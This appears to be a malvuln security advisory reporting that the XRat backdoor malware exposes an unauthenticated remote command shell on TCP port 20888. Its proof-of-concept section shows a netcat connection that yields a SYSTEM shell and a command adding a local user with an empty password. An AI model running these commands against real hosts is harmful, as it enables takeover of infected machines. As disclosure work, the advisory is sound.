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Backdoor.Win32.XRat.d MVID-2021-0242 Code Execution

Backdoor.Win32.XRat.d MVID-2021-0242 Code Execution
Posted Jun 9, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.XRat.d malware suffers from a code execution vulnerability.

tags | exploit, code execution
systems | windows
SHA-256 | 9c8e9f3bfccd621e37986ade425e15a6e5405ded2573c360bca1244409f4fb0d

Backdoor.Win32.XRat.d MVID-2021-0242 Code Execution

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/dc77b126b205b0f671e505766c607ef1.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.XRat.d
Vulnerability: Unauthenticated Remote Command Execution
Description: XRat malware runs with SYSTEM integrity and listens on TCP port 20888. Third-party attackers who can reach the system can connect, switch to DOS prompt mode and run any OS commands re-compromising the already infected system.
Type: PE32
MD5: dc77b126b205b0f671e505766c607ef1
Vuln ID: MVID-2021-0242
Dropped files: svhost.exe
Disclosure: 06/08/2021

Exploit/PoC:
nc64.exe 192.168.18.127 20888
"X-Rat System Console" v2.0

Status Ready, Client: 192.168.18.130:43857

[DESKTOP-2C4IRJO@C:\WINDOWS\system32]#DOS

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\system

C:\WINDOWS\system32>net user hyp3rlinx "" /add
The command completed successfully.


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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